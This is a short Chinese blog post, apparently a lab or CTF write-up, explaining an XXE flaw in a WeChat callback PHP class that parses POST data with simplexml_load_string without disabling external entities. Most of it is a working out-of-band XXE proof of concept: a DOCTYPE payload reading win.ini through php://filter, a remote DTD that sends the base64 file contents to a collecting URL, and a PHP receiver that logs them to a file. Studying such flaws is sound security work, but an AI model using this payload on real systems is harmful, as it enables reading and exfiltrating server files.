WX的XXE实体注入示例
2018-11-13 本文已影响0人
N8_xEnn7nA1
查看代码:
![](https://img.haomeiwen.com/i6936994/0f4820f83aa00e40.png)
可以看到,要执行的代码也就4行,下面是 webchatCallbackupapiTest 这个类的定义。
既然代码执行了该类的 responseMsg() 函数, 那就来看看该函数的实现:
![](https://img.haomeiwen.com/i6936994/e96880334fb07802.png)
可以看到,该函数回去读取post请求数据,并将post请求数据通过 simplexml_load_string() 函数转换为XML有关的对象,
其中,也没有禁止xml数据中使用外部实体(例如使用libxml_disable_entity_loader(true)),也没有过滤用户提交的XML数据。
因此可以进行XXE注入。
poc 如下:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://localhost/xxe/1.xml">
%remote;
%all;
%send;
]>
其中,1.xml 如下:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1/xxe/2.php?id=%file;'>"
>
%all;
其中,2.php如下:
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
![](https://img.haomeiwen.com/i6936994/1dffed5b8a06ee15.png)
提交请求,然后访问:http://120.203.13.75:8123/xxe/3.txt 即可。